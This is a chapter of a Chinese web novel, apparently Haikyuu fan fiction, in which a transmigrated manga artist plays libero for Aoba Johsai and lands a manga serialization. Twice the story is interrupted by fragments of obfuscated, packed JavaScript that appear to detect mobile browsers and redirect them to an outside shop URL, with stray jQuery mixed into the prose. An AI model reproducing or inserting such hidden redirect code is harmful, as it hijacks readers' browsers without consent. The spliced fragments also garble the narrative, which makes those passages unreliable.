金田一的表情变得认真了一些:“他们的拦网很强吧?” 伊藤点了点头。 伊达工业——铁壁。 在原作中,这支队伍以高大强壮的身材和极具压迫感的拦网著称。 他们不是那种靠花哨进攻取胜的队伍,而是靠坚不可摧的防守一点点磨死对手。 而伊藤作为自由人,面对这样的队伍,任务会更加艰巨——因为伊达工业的进攻手段相对单一,更多的是靠拦网得分,所以替补阵容需要更多的防守反击机会。 伊藤的一传和防守起球质量,将直接决定替补阵容能否组织起有效的进攻。 “下午好好打。”金田一说,语气里带着一种少见的认真。 “嗯。” 两个人吃完便当,在天台上坐了一会儿。 风从远处吹过来,带着操场上尘土的气味和不知道哪里传来的音乐声。 “伊藤。”金田一忽然开口。 “嗯?” “你说,我们今年能打进全国大赛吗?” 伊藤沉默了一下。 他知道答案。 他看过原著,知道青叶城西今年会输给乌野,止步春高预选赛的半决赛。 他知道及川彻直到毕业都没能打进全国大赛,知道岩泉一带着遗憾离开了高中排球。 但他不能说出来。 “不知道。”伊藤说,“但不管能不能,我们都要尽全力。” 金田一看了一眼,笑了。 “说得对。” 下午四点,青叶城西高校排球部的体育馆里挤满了人。 伊达工业高校排球部的大巴已经到了,他们的队员正在场边热身。 伊藤站在替补阵容的队伍里,远远地看着那些高大的身影——平均身高超过一米八五,副攻手甚至接近一米九。 他们站在那里,就像一堵移动的墙。 “好高啊……”金田一在旁边小声说。 金田一本身已经很高了,但看到伊达工业的拦网球员,他的表情还是有些发怵。 “你的扣球点比他们高。”伊藤说。 “但他们的拦网时机很好。”金田一说,“我听说他们的拦网系统非常严密,一旦起跳就很难找到缝隙。” 伊藤没有反驳。 金田一说得对,伊达工业的拦网不是靠个人能力,而是靠整体配合。 他们的副攻手和边攻手之间的联动非常默契,很少出现两个人同时起跳拦同一条线路的情况。 教练走过来,宣布了今天的出场名单。 替补阵容依然以一年级和二年级为主,伊藤继续作为自由人首发。 “今天的目标不是赢。”教练说,“今天的目标是学会如何面对高强度拦网。伊达工业的拦网是全国级别的,你们要做的就是找到他们拦网的空隙。” 哨声响了。比赛开始。 伊达工业先发球。 他们的发球不算快,但落点很稳,瞄准了替补阵容的后排中央。 伊藤接了起来,球稳稳地送到了矢巾秀的位置。 矢巾托给金田一。 金田一起跳,面对伊达工业的双人拦网,他选择了直线——球打在拦网球员的手指上,弹出了界外。 出界。 伊达工业得分。 金田一落地后,皱着眉头看了看自己的手。 他刚才那一球其实扣得不错,但伊达工业的拦网高度超出了他的预期——他以为能打过去的球,被对方的手指蹭到了。 “没关系,下一球。”矢巾说。 伊达工业继续发球。 伊藤再次接起,送球到位。 矢巾这一次托给了国见。 国见没有强扣,而是观察了拦网球员的位置后,轻轻将球吊到了拦网球员的身后。 球落地了。 得分。 国见面无表情地转身走回自己的位置,像是做了一件微不足道的事情。 伊达工业的教练在场边皱了一下眉头。 他没有叫暂停,但对着场上的队员比了一个手势——伊藤看不懂那个手势的意思,但他注意到伊达工业的拦网阵型发生了变化。 从那以后,国见的吊球再也没有成功过。 伊达工业的副攻手开始更加注意后排的保护,每次国见起跳,都会有一个自由人或后排防守球员提前移动到吊球的落点位置。 比赛变得胶着起来。 伊藤在后排不断接起一传和扣球,但他的送球质量在伊达工业的发球压力下有所下降。 伊达工业的发球不算快,但旋转很强,球在空中飘忽不定,判断落点比普通的发球难得多。 他连续接了两个飘球,第一个送到了位,第二个偏了一些,矢巾追了两步才接到球,托球的质量下降,金田一的扣球被直接拦死。 “伊藤君,判断再早一点。”及川在场边喊了一声。 伊藤深吸了一口气,调整了自己的站位。 他把重心压得更低,双手前伸得更远,目光死死地盯着对方发球手的手腕。 下一个发球,他在球离开发球手手掌的瞬间就判断出了球的轨迹——向左飘。 他提前移动了半步,在球飘过来的同时,用前臂稳稳地接了起来。 球送到了矢巾的正上方。 矢巾托给国见,国见这次选择了斜线扣球,球从拦网球员的手臂旁边穿过,砸在了界内。 得分。 伊藤站在后排,呼吸有些急促。 但他的眼神很专注,像是完全沉浸在比赛的节奏里,忘记了周围的一切。 第一局,替补阵容以18比25落败。 但伊藤的个人数据还不错——接发球成功率百分之八十五,防守起球率超过百分之七十。 对于面对伊达工业这样的队伍来说,这个数据已经相当出色了。 局间休息的时候,及川走过来,手里拿着一瓶水。 “伊藤君,你今天的状态很好。”及川说,“但是你接飘球的时候,手臂的迎球面太大了。飘球的轨迹不稳定,你需要用更小的接触面去接,这样才能更好地控制球的方向。” 伊藤听完,在脑子里模拟了一下及川说的动作。 更小的接触面意味着更精确的判断——如果判断错了,球就会从手臂侧面滑过去;但如果判断对了,送球的精度会大幅提升。 “我试试。”伊藤说。 第二局,伊藤按照及川的建议调整了接飘球的方式。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454775|201213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一开始有些不适应,第一个飘球他的接触面太小了,球直接飞了出去。 但第二个就好多了,第三个更稳。 到第五个的时候,他已经能够比较稳定地用这种方式接起飘球了。 及川在场边看着,点了点头。 比赛最终以0比2结束,替补阵容输给了伊达工业。 但教练看起来并不在意结果,他在赛后总结时说了一句话:“伊藤的进步速度超出了我的预期。” 伊藤站在队伍里,低着头,耳朵尖又红了。 训练结束后,伊藤照例留下来加练。 今天和他一起加练的人多了一个——金田一。 “我今天被拦了好几次,”金田一说,语气里带着一点不甘心,“我想练一下扣球的角度。” 京谷也在。 他站在场地的另一边,手里转着球,看到伊藤进来,只说了一个字:“来。” 伊藤换好衣服,走到后排的位置。 三个人开始了加练——京谷扣球,伊藤接球,金田一在旁边观察和调整自己的扣球动作。 京谷的扣球一如既往地重。 但伊藤发现,经过这段时间的训练,他的手臂已经不像最初那样容易被弹开了。 他的前臂肌肉变得更加结实,接球时的身体缓冲也更加自然。 即使面对京谷的重扣,他也能比较稳定地把球送到位。 “你今天接飘球的方式变了。”京谷在扣完第十个球后说了一句。 “及川前辈教的。”伊藤说。 京谷“哼”了一声,没有再说话,但接下来的扣球中,他开始有意地加入一些旋转和飘忽的变化——他在用自己的方式帮伊藤练习接飘球。 金田一在旁边看了一会儿,忽然说:“京谷前辈,你能不能也帮我扣几个球?我想练一下接重扣后的反击。” 京谷看了金田一一眼,点了点头。 金田一站到后排,伊藤退到场边,看着金田一接京谷的扣球。 金田一的接球动作比伊藤粗糙很多——他的手臂太硬了,每次接球都会把球弹得很高,方向也很难控制。 京谷扣了五个球,金田一没有一个送到位的。 “手臂太硬了。”伊藤忍不住说了一句。 金田一苦笑着看着他:“我知道,但我不知道怎么放松。” 伊藤走过去,站在金田一旁边,做了一个示范动作。 他让金田一观察他接球时的手臂角度和呼吸节奏,然后让金田一试着模仿。 “接球的瞬间呼气。”伊藤说,“让手臂放松,用身体的弹性去吸收球的冲击力。” 金田一试了试,第一个球还是太硬了,第二个好了一些,第三个终于有了点感觉。 “对,就是这样。”伊藤说。 京谷站在网前,看着伊藤教金田一,没有说话。 但他的表情比平时柔和了一些——虽然那张天生就凶的脸再怎么柔和也还是显得很凶。 加练持续了一个小时。 结束时,伊藤的手臂又红了,金田一的接球技术也有了肉眼可见的进步。 “伊藤,谢谢你。”金田一一边收拾东西一边说。 “不用谢。” “不,真的要谢谢你。”金田一认真地说,“你教我的方法比教练讲的还清楚。你以后可以考虑当教练。” 伊藤愣了一下,然后摇了摇头。 “我不会当教练。”他说,“我只想打自由人。” 金田一笑了一下,没有再说。 三个人走出体育馆的时候,天已经黑了。 金田一和京谷先走了,伊藤一个人走在回家的路上。 他拿出手机,看了一眼系统面板。 技术:4.6(+0.1) 速度:4(+0) 力量:2(+0) 跳跃:2(+0) 爆发力:3(+0) 智力:5(+0) 技术的增长变慢了。 从最初的每天0.2、0.1,到现在几天才涨0.1。 这意味着他正在进入一个平台期——基础的技术已经打磨得差不多了,接下来的进步会越来越难,越来越慢。 伊藤关掉面板,把手机放回口袋。 他知道这是正常的。 任何技能的提升都是这样——初期进步快,后期越来越慢。 真正的强者和普通人的区别,就在于能不能在进步变慢的时候继续坚持下去。 他加快了脚步。 明天还有晨练。 路过便利店的时候,他看到门口贴着一张海报——“全国高校排球选手权大会宫城县预选赛 5月开幕”。 五月中旬,IH预选赛就要开始了。 那是他来到这个世界后的第一场正式比赛。 虽然他大概率不会上场——渡的正选位置很稳固,教练没有理由在正式比赛中换上一个一年级的新人。 但他还是会做好准备。万一有机会,他必须抓住。 伊藤走进便利店,买了一盒牛奶和一袋面包,然后继续往家走。 到家后,他洗了澡,坐在书桌前,打开了笔记本。 他没有写日记,而是在纸上画了一个排球场的俯视图,标出了伊达工业今天比赛中的拦网站位和防守阵型。 这是他前世的习惯——用漫画分镜的方式去理解和记忆战术。 画完之后,他在图的旁边写了几个字:“飘球应对——更小的接触面。” 然后他合上笔记本,躺到了床上。 天花板上映着窗外路灯的光,模模糊糊的。 他想起了今天佐佐木说的那句话——“你到底在不在意任何事情?” 他在意排球。 他在意自己能不能变得更强。 他在意渡、京谷、及川、岩泉、金田一、国见这些人的目光。 至于成绩,年段第十二名还是第五十名,对他来说没有太大区别。 他不需要靠成绩来证明什么,也不需要靠成绩来进入什么大学——他的目标不是大学,而是回家。 但在那之前,他还有很多球要接。 伊藤翻了个身,把被子拉到下巴。 明天又是新的一天。 8. 第八章 8. 四月最后一个星期五,伊藤有弥在教室里做了一件他穿越以来从未做过的事情。 他拿出了一支笔。 不是圆珠笔,不是铅笔,而是一支G笔尖的漫画蘸水笔。 这是他上周在仙台市区的文具店花了将近两个小时找到的——那家店藏在一条小巷子里,门面很小,但里面塞满了各种专业画材。 他在货架前站了很久,手指抚过不同型号的笔尖,那种熟悉的触感让他的心跳莫名加快了几分。 最后他买了G笔尖、圆笔尖、一瓶开明墨汁、一叠原稿纸和一把刮网刀。 收银台的老头看了他一眼,大概觉得一个高中生买这些东西很奇怪,但也没有多问。 笔买回来之后在书桌抽屉里躺了整整五天。 每天晚上训练结束、洗完澡、做完拉伸之后,伊藤都会坐在书桌前,打开抽屉,看着那支G笔尖。他会把笔拿出来,握在手里,感受那个熟悉的重量和弧度。 然后他会把笔放回去,关上抽屉,躺到床上。 他不知道自己为什么犹豫。 前世他是漫画家。 虽然不是什么大热作者,但靠连载勉强能维持生活。 他习惯了一个人窝在出租公寓里,从深夜画到凌晨,分镜稿改了一遍又一遍,截稿日前疯狂赶稿,交完稿后睡上整整一天。 那些日子很苦,但他从来没有后悔过选择漫画。 穿越之后,他以为自己再也拿不起画笔了。 不是因为不想画,而是因为不敢。 漫画是他前世最深的印记,拿起画笔就意味着承认那个世界真实存在过,意味着他曾经是另一个人,过着另一种生活。 他一直在回避这件事,把所有的精力都投入到排球中,好像只要跑得够快、跳得够高、接得够稳,就能忘记自己是从哪里来的。 但画笔一直在抽屉里等他。 周六下午,排球部没有训练。 伊藤本来计划去体育馆自主练习,但外面下起了雨。 四月的宫城县,春雨绵绵,雨丝细得像针尖,打在窗户上发出细微的沙沙声。 他站在窗前看了一会儿,然后转过身,打开了书桌抽屉。 他拿出原稿纸和G笔尖,把墨汁倒进砚台里,在桌上铺好了稿纸。 然后他坐下来,握着笔,对着空白的稿纸发呆了将近十分钟。 画什么呢? 他闭上眼睛,脑海中浮现出很多画面——及川站在底线后准备跳发球的姿势,岩泉扣球时身体像弓一样绷紧的瞬间,渡飞身扑救时手臂在地板上滑行的轨迹,京谷起跳时那种可怕的滞空感,金田一扣球后转身朝他竖大拇指的笑容,国见面无表情却总能精准命中角落的吊球。 还有西谷夕。 那个在练习赛中对他说“自由人是球队的最后一道防线”的小个子自由人。 还有影山和日向。 那个天才二传手和那个弹跳怪物的速攻。 这些人,这些画面,在他的脑海里活了一年又一年。 前世他在漫画中看到他们,穿越后他在现实中看到他们。 但现在,他想用自己的笔把他们画出来。 不是临摹,不是同人,而是全新的故事。 一个关于一群少年打排球的故事。 伊藤的笔尖落在了稿纸上。 第一格,他画了一个体育馆的全景。 空荡荡的看台,明亮的灯光,球网在画面中央笔直地拉紧。 球场上站着一个人,穿着运动服,手里拿着一颗排球,背对镜头。 他没有画那个人的脸。 因为他还没有想好主角是谁。 但他知道这个故事要讲什么。 是关于一群没有天赋的人,拼命追赶天才的故事。 是关于一次又一次失败、却始终没有放弃的故事。 是关于排球的故事。 伊藤画了一整个下午。 墨汁干了又添,笔尖换了又换,原稿纸一张接一张地铺满书桌。 他画分镜的速度比前世慢了很多——手生了,线条不够流畅,人物的比例偶尔也会出现偏差。 但他越画越顺,越画越投入,仿佛那些被封存了很久的东西正在一点一点地苏醒过来。 窗外的雨什么时候停的,他不知道。 天什么时候黑的,他也不知道。 当他画完最后一格、放下笔的时候,已经是晚上八点多了。 他活动了一下僵硬的脖子,看着桌上散落的原稿纸——一共十二页,是一个短篇漫画的开头。 他给这个故事取了一个临时的名字,叫《接球》。 不是“扣球”,不是“托球”,是“接球”。 因为接球是排球中最不起眼、却又最重要的一环。 没有人会因为一传到位而上新闻,没有人会因为救起一个必死之球而登上杂志封面。 但如果没有接球,就没有托球,没有扣球,没有得分。 接球的人,是站在聚光灯之外的人。 伊藤觉得,这很像他自己。 第二天是周日,伊藤花了整整一天时间把短篇漫画画完了。 一共三十六页,从开场到高潮到结尾,起承转合完整,是他前世最擅长的篇幅。 故事讲的是一个没什么天赋的自由人,加入了一支弱小的高中排球部。 队友们一个个因为看不到希望而退部,最后只剩下他一个人。他一个人对着墙接球,接了三年,接到了全国大赛。 很简单的故事,甚至有些老套。 但伊藤在画的时候,把自己前世的很多感受画了进去——那些输球后的沉默,那些一个人加练的深夜,那些“为什么还要继续”的自我怀疑,以及那些“因为喜欢所以无法放弃”的瞬间。 他画完之后,把原稿从头到尾看了一遍。 不算好。 线条生硬,分镜的节奏也有些问题,有几格的人物表情完全画崩了。 但故事的核心是对的。 那种“即使只有我一个人也要继续”的倔强,他觉得自己传达出来了。 他把原稿装进牛皮纸信封,写上了地址——他前世投稿的漫画社,东京都新宿区的那家。 那个地址他闭着眼睛都能写出来,因为他曾经往那里寄过无数次稿件,从最初的被退稿到后来的连载签约,那家漫画社的编辑见证了他作为漫画家的全部成长。 信封写好的那一刻,他犹豫了一下。 他现在是一个十六岁的高中生。 一个高中生投稿漫画杂志,被采用的概率有多大?编辑看到信封上“青叶城西高校”的寄件地址,会怎么想? 但犹豫只持续了几秒钟。 他贴好邮票,穿上外套,走出家门,把信封投进了街角的邮筒。 信封落进邮筒底部的声音很轻,“咚”的一声,然后就安静了。 伊藤站在邮筒前,看着那个红色的方形口子,站了大概有半分钟。 然后他转身回家了。 周一早上,成绩榜的风波还没有完全平息。 伊藤走进一年三班教室的时候,发现自己的课桌上多了一张纸条。 他拿起来看了一眼,上面用圆圆的字迹写着:“伊藤同学,请告诉我你学习的方法!——佐藤美咲” 他不认识佐藤美咲。 大概是隔壁班的。 他把纸条折好放进口袋,坐下来,拿出课本。 第一节课是现代文。 老师在讲夏目漱石的《心》,伊藤听了几句就开始走神。 他在笔记本的空白处画起了漫画分镜——不是投稿的那个故事,而是新的构思。 他想画一个关于二传手的故事,一个拼命追赶天才的普通二传手。 这个角色让他想到了及川。 他画了几格,觉得不太满意,又划掉了。 旁边的佐佐木偷偷瞄了一眼他的笔记本,看到上面密密麻麻的小人,瞪大了眼睛。 “伊藤同学,你在画什么?” “没什么。” “那是漫画吧?你画漫画?” “……随便画画的。” 佐佐木凑过来想看仔细,伊藤赶紧把笔记本合上了。 他的耳朵尖红了,佐佐木看了觉得好笑,没有再追问。 第二节课是数学。 伊藤这次没有画画,而是趴在桌子上睡着了。 数学老师看了一眼他的方向,叹了口气,没有叫他起来。 年段第十二名的成绩让老师们对他的上课睡觉采取了睁一只眼闭一只眼的态度——反正他考试能考好,管他上课在干什么。 下午的部活,气氛和往常不太一样。 因为IH预选赛的出场名单公布了。 岩泉站在队伍前面,手里拿着一张纸,表情比平时更加严肃。 及川站在他旁边,难得地没有露出笑容。 “IH预选赛的正选阵容已经确定了。”岩泉说,目光扫过在场的每一个人,“我念到名字的,从今天开始进入正选阵容的训练计划。” 所有人都安静了。一年级的新生们挺直了腰板,二年级的队员握紧了拳头,三年级的虽然大多已经知道自己会入选,但还是露出了专注的表情。 “正选二传手,及川彻。” 及川点了点头,没有像平时那样说多余的话。 “正选主攻手,岩泉一。” “正选副攻手,松川一静。” “正选副攻手,花卷贵大。” “正选自由人,渡亲治。” 渡点了点头,目光不自觉地看向了伊藤的方向。 “正选主攻手,国见英 。 ” “正选副攻手,金田一勇太郎” 金田一听到自己的名字,肩膀猛地一抖。 他转过头看向国见,国见的表情依然是那副淡漠的样子,但伊藤注意到国见的嘴角微微动了一下。 岩泉继续念:“正选替补名单,二传手替补,矢巾秀……” “自由人替补,伊藤有弥。” 伊藤站在原地,心跳加快了几拍。 不是正选。是替补。 他知道这个结果在意料之中。 渡是二年级,经验丰富,技术稳定,教练没有理由在IH预选赛这样的重要比赛中把他换下来。 而伊藤只是一个一年级的新人,入部不到一个月,虽然进步很快,但距离正选还有差距。 但听到“替补”两个字的时候,他的胸口还是有什么东西微微缩了一下。 “以上是本次IH预选赛的出场名单。”岩泉说,“没有入选的人也不要灰心,夏季的练习赛还有很多机会。入选的人,从今天开始要更加严格要求自己。” 及川接过话头,语气比平时郑重了很多:“IH预选赛是我们今年第一个正式比赛。白鸟泽、乌野、伊达工业、和久谷南——每一支队伍都很强。但我们青城的目标只有一个,就是打进全国大赛。” “为了这个目标,每一个人都要全力以赴。” 队伍解散后,金田一跑到伊藤旁边,表情复杂。 他入选了正选,但他看起来并没有那么高兴。 “伊藤,你……” “恭喜你。”伊藤说,语气平静。 “可是你……” “我是替补,我知道。”伊藤说,“但我不会一直是替补。” 金田一看着伊藤的眼睛,看到了那里面的东西——不是嫉妒,不是失落,而是一种安静的、坚定的决心。 “我会加油的。”金田一说,握紧了拳头。 “嗯。” 国见从旁边走过来,看了伊藤一眼,然后对金田一说:“走了,训练。” 金田一跟着国见走了。 伊藤站在原地,看着他们的背影。 渡不知道什么时候走到了他旁边。 “失望吗?”渡问。 伊藤摇了摇头。 “那就好。”渡说,“因为正选这个位置,我不会轻易让给任何人。” 伊藤转过头,看着渡。 渡的表情很认真,眼神里没有敌意,只有一种纯粹的竞争意识。 “我知道。”伊藤说。 训练开始了。 正选阵容的训练内容和替补阵容完全不同。 及川带着正选们进行战术配合演练,岩泉负责扣球和拦网的专项训练,渡则和正选的攻手们磨合防守阵型。 替补阵容这边由三年级的替补队员带领,训练内容以基础技术为主。 伊藤站在替补阵容的后排,接起一个又一个扣球。 他的动作依然扎实,送球依然稳定,但他知道,自己现在和渡的差距不仅仅是技术层面。 渡有整整一年的正选经验,有和及川、岩泉等人磨合了无数次的默契,有在正式比赛中面对强敌的心理素质。 这些东西,不是靠几周的加练就能追上的。 但他不急。 他有的是时间。 训练结束后,伊藤照例留下来加练。 今天陪他加练的是金田一和国见——两个人都入选了正选,压力不小,想在正式比赛前把自己的技术再打磨一下。 “伊藤,你帮我看一下我的扣球角度。”金田一说,“我觉得我扣球的时候身体太正了,容易被拦。” 伊藤站在网前,观察了金田一的扣球动作。 金田一说的没错,他的身体在起跳后几乎完全正面朝向球网,扣球线路的选择余地很小。 “起跳的时候,肩膀稍微转一下。”伊藤说,“右肩向后拉,左肩向前,这样你的身体就会自然产生一个角度。” 金田一试了试,第一次身体转得太过了,球直接扣出了边线。 第二次好了一些,第三次终于找到了感觉。 “对,就是这样。”伊藤说,“保持这个角度,你就可以选择直线或者斜线。” 金田一连续扣了十个球,每一个都试着在最后时刻调整手腕的方向。 伊藤站在后排接他的扣球,每一个都接了起来。 “你的接球又进步了。”金田一喘着气说。 “因为你扣球的线路越来越丰富了。”伊藤说。 国见站在旁边,一直没有说话。 等到金田一练完了,他才慢悠悠地走到网前。 “帮我托球。”国见对伊藤说。 伊藤愣了一下:“我托球?” “嗯。”国见说,“我想练一下时间差。不需要多精准,能把球送到我起跳的位置就行。” 伊藤走到二传手的位置,双手举起,做出了托球的姿势。 他前世虽然打的是自由人,但基本的托球技术还是会的——毕竟接球和托球是相通的,都需要对球的轨迹有精准的判断。 他托了一个球给国见。 国见起跳,没有扣,只是用手接住了球。 “早了一点。”国见说。 伊藤调整了出手的时机。 第二次托球,国见起跳后扣了下去,球砸在了底线上。 “好。”国见说,语气平淡,但伊藤注意到他的眼神比平时亮了一些。 三个人练了将近一个小时,直到体育馆的管理员过来赶人。 “你们这群小鬼,每天都练到这么晚。”管理员是个六十多岁的老头,头发花白,但精神很好,“身体会坏掉的。” “没关系。”金田一说,“我们年轻。” 老头摇了摇头,把灯关了。 三个人在黑暗中换好衣服,走出了体育馆。 外面没有下雨,但地面是湿的。 下午的雨停了之后,空气里弥漫着一种湿润的青草气味。 “伊藤,你今天状态不太对。”金田一忽然说。 伊藤看了他一眼。 “说不上来,”金田一挠了挠头,“就是感觉你今天训练的时候比平时更安静。虽然你平时也很安静,但今天是那种……更安静的安静。” 伊藤沉默了一下。他知道金田一在说什么。 公布名单的时候,他听到“替补”两个字,虽然表面上没有表现出来,但心里还是有什么东西沉了一下。 那种感觉在训练中一直存在,像一块小小的石头压在胸口,不疼,但硌得慌。 “我没事。”伊藤说。 金田一看了一眼,没有追问。 国见走在最前面,忽然头也不回地说了一句:“替补又不是不能上场。” 伊藤抬起头,看着国见的背影。 “替补上场的机会虽然少,但只要抓住了,就能改变比赛。”国见说,语气依然是那副淡漠的样子,但每一个字都说得很清楚,“及川前辈二年级的时候也是替补。” 伊藤愣了一下。 及川二年级的时候是替补。 那是他前世的记忆中确凿的事实——及川在一年级的大部分时间里都在给前辈当替补,直到二年级才成为正选二传手。 但没有人会说及川“只是一个替补”。 因为及川在有限的上场时间里证明了自己的价值,让教练不得不把他放进正选阵容。 “我知道了。”伊藤说。 国见没有再说话,继续往前走。 三个人在路口分开。 金田一挥着手喊“明天见”,国见只是点了点头,伊藤也点了点头,然后各自走向各自的方向。 伊藤回到家,洗了澡,坐在书桌前。 他打开抽屉,看到了那支G笔尖。 他犹豫了一下,然后拿起了笔。 他没有画漫画,而是在一张白纸上写下了一行字:“IH预选赛,自由人替补,伊藤有弥。” 然后他在下面写了一个数字:0。 那是他目前的上场时间。 他希望这个数字能变成1,变成10,变成更多。 但这不是他能决定的。他能决定的只有一件事——准备好。 他放下笔,躺到床上。 周三下午,伊藤收到了一封信。 信封是白色的,左上角印着“集鹰社”三个字。 他的心跳猛地加速了——不是紧张,而是那种“来了”的感觉。 前世他收到过无数次这种信封,每一次打开之前都会有一瞬间的忐忑。 他撕开封口,抽出里面的信纸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454776|201213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信的内容很简短: “伊藤有弥先生:拜读您的投稿作品《接球》,编辑部一致认为故事扎实、情感真挚,分镜也颇具潜力。虽然部分线条和人物的处理尚显生涩,但我们看好您的成长空间。如您有意,欢迎与我们进一步商讨连载事宜。——周刊少年JUMP编辑部山口” 连载。 伊藤拿着信纸的手微微颤抖了一下。 前世他花了将近两年的时间才拿到连载的机会。 从投稿到被关注,从关注到签约,从签约到正式连载,每一步都走得艰难而漫长。 而现在,他仅仅投了一部短篇,对方就直接提出了连载的意向。 他低下头,看着信纸上的那行字——“我们看好您的成长空间”。 他们看好的不是他现在的能力,而是他的潜力。 就像渡看好他的潜力一样。 就像及川和岩泉看好他的潜力一样。 伊藤把信折好,放进了抽屉里。 他没有立刻回信。 他需要想一想——要不要真的开始连载?如果连载的话,他有没有时间同时兼顾排球训练?前世他可以熬夜赶稿,因为白天不需要做任何消耗体力的事情。 但现在他每天都有晨练、部活、加练,体力和精力的消耗是前世的数倍。 但他又想到了另一个问题。 漫画是他前世最擅长的事情,也是他在这个异世界里唯一能证明“伊藤有弥来自另一个地方”的东西。 如果放弃漫画,他就真的只是一个小有名气的排球部替补了。 他不想放弃。 他拿起笔,给编辑山口写了一封回信。 内容很简单:愿意商讨连载事宜,但自己是一个高中生,需要兼顾学业和社团活动,希望能在不影响训练的前提下进行连载。 他把回信装进信封,贴好邮票,打算明天寄出去。 然后他打开了系统面板。 技术:4.7(+0.1) 速度:4(+0) 力量:2(+0) 跳跃:2(+0) 爆发力:3(+0) 智力:5(+0) 技术又涨了0.1。很慢,但确实在涨。 伊藤关掉面板,拿起画笔,开始画新的分镜。 他准备画一个长篇故事——主角是一个没有天赋的自由人,在高中排球部里从替补做起,一步一步成长为世界第一自由人。 他觉得这个故事和自己的经历很像。 或者说,他希望这个故事能成为自己的未来。 五月第一周,青城排球部进入了IH预选赛前的最后冲刺阶段。 训练强度比之前提高了至少一倍。 正选阵容每天都要进行高强度的对抗训练,替补阵容则负责模拟对手的战术,帮助正选们适应不同的比赛节奏。 伊藤作为自由人替补,大部分时间都在替补阵容的后排,模拟对手自由人的防守站位和移动习惯。 他不仅要接好球,还要让正选们感受到“这就是比赛的真实节奏”。 “伊藤,你今天模拟的是谁?”及川在训练间隙问他。 “伊达工业的自由人。”伊藤说。 “那你再凶一点。”及川说,“伊达工业的自由人防守范围很大的,你要再往前压一点。” 伊藤调整了自己的站位,把重心压得更低,防守范围扩大了将近一米。 正选阵容的扣球开始更多地落在他的防守区域内,他接起了一个又一个,送球到位率依然保持在百分之七十以上。 渡在旁边看着他,眼神越来越严肃。 训练结束后,渡走到伊藤面前。 “你的移动速度比上周快了。” “因为你让我每天跑五公里。” 渡沉默了一下,然后说:“IH预选赛,我会首发出场。但如果我的状态不好,你随时可能被换上去。” 伊藤看着渡,等着他继续说。 “所以你要准备好。”渡说,“不是‘万一需要你上场’的准备,而是‘上场就要发挥作用’的准备。” “我知道。” 渡点了点头,转身走了。 周五下午,教练公布了IH预选赛的抽签结果。 青叶城西高校的首轮对手是角川高校——一支实力中等的队伍,在县内不算强敌。 但如果青城赢了第一轮,第二轮很可能遇到和久谷南高校,那是一支以顽强防守著称的队伍,去年在县大会上给青城制造了不少麻烦。 “第一轮不能轻敌。”岩泉说,“第二轮开始才是真正的挑战。” 及川站在旁边,表情难得地严肃。 “白鸟泽在另一半区。”他说,“如果我们能打进决赛,就会遇到他们。” 白鸟泽。 那个名字一出,体育馆里的空气都变了。 牛岛若利——宫城县最强的王牌,他的扣球像是从二楼砸下来的铁锤,连自由人都很难接起来。 青城在过去两年里一次又一次地挑战白鸟泽,一次又一次地败北。 今年,及川彻的第三年,也是最后一次机会。 “不要想白鸟泽。”岩泉说,“先打好眼前的比赛。” 及川点了点头,恢复了平时的笑容:“岩酱说得对。先赢了角川再说。” 队伍解散后,伊藤站在场边,看着及川和岩泉的背影。 他知道青城今年会输给乌野,连白鸟泽的面都见不到。 但他不能说出来。他只能看着剧情按照他记忆中的轨迹发展,看着及川再一次倒在通往全国大赛的路上。 但他也记得及川说过的那句话——“我才不会输给你呢。” 不是对别人说的,是对自己说的。 及川彻不是一个会因为失败而放弃的人。 伊藤觉得,自己也不能。 周六,伊藤把给编辑的回信寄了出去。 走出邮局的时候,阳光很好。 五月初的宫城县,气温升到了二十度以上,街上的人换上了薄外套,便利店门口摆出了新口味的冰淇淋广告。 他站在邮局门口,看着手机上的日历。 距离IH预选赛还有不到两周。 距离他穿越到这个世界,已经过去了将近一个月。 这一个月里,他从一个连队内练习赛都打不上的替补,变成了渡的直接竞争对手。 他从一个连跑三公里都喘的体力废,变成了能跑五公里还做四组移动训练的自由人。 他从一个不敢拿起画笔的人,变成了收到连载邀约的漫画家。 一个月。 伊藤把手机放进口袋,往家的方向走去。 路过便利店的时候,他买了一盒牛奶和一袋面包。 收银台的阿姨已经认识他了,笑着说“今天不用晨练吗”。 “今天周六。”伊藤说。 “对哦,周末。”阿姨把找零递给他,“高中生真辛苦,周末还要训练。” 伊藤笑了笑,没有说话。 他走出便利店,阳光照在他的脸上,暖洋洋的。 他想起了今天训练结束后渡对他说的那句话——“你要准备好。” 他准备好了。 不管是一周后的IH预选赛,还是即将开始的漫画连载。 他都准备好了。 伊藤加快了脚步,往家的方向走去。 回到家后,他坐在书桌前,铺开原稿纸,开始画长篇连载的第一话。 标题他想了很久,最后决定叫《第二防线》。 自由人是球队的最后一道防线。 但伊藤觉得,自由人应该是第二道防线——第一道防线是每一个球员的防守意识,自由人只是那个在所有人都没接到的时候站出来的人。 他想通过这个故事,告诉读者自由人的价值。 不是主角,不是王牌,不是聚光灯下的明星,但他们是球队不可或缺的一部分。 就像他在青城排球部一样。 不是正选,不是首发,不是及川那样站在球场中央被所有人注视的存在。 但他也是青城排球部的一部分。 他在用自己的方式,为这支球队贡献力量。 伊藤的笔尖落在原稿纸上,开始画第一格。 窗外,宫城县五月的风吹进来,带着初夏的气息。 书桌上的手机震动了一下,是一条未知号码发来的短信。 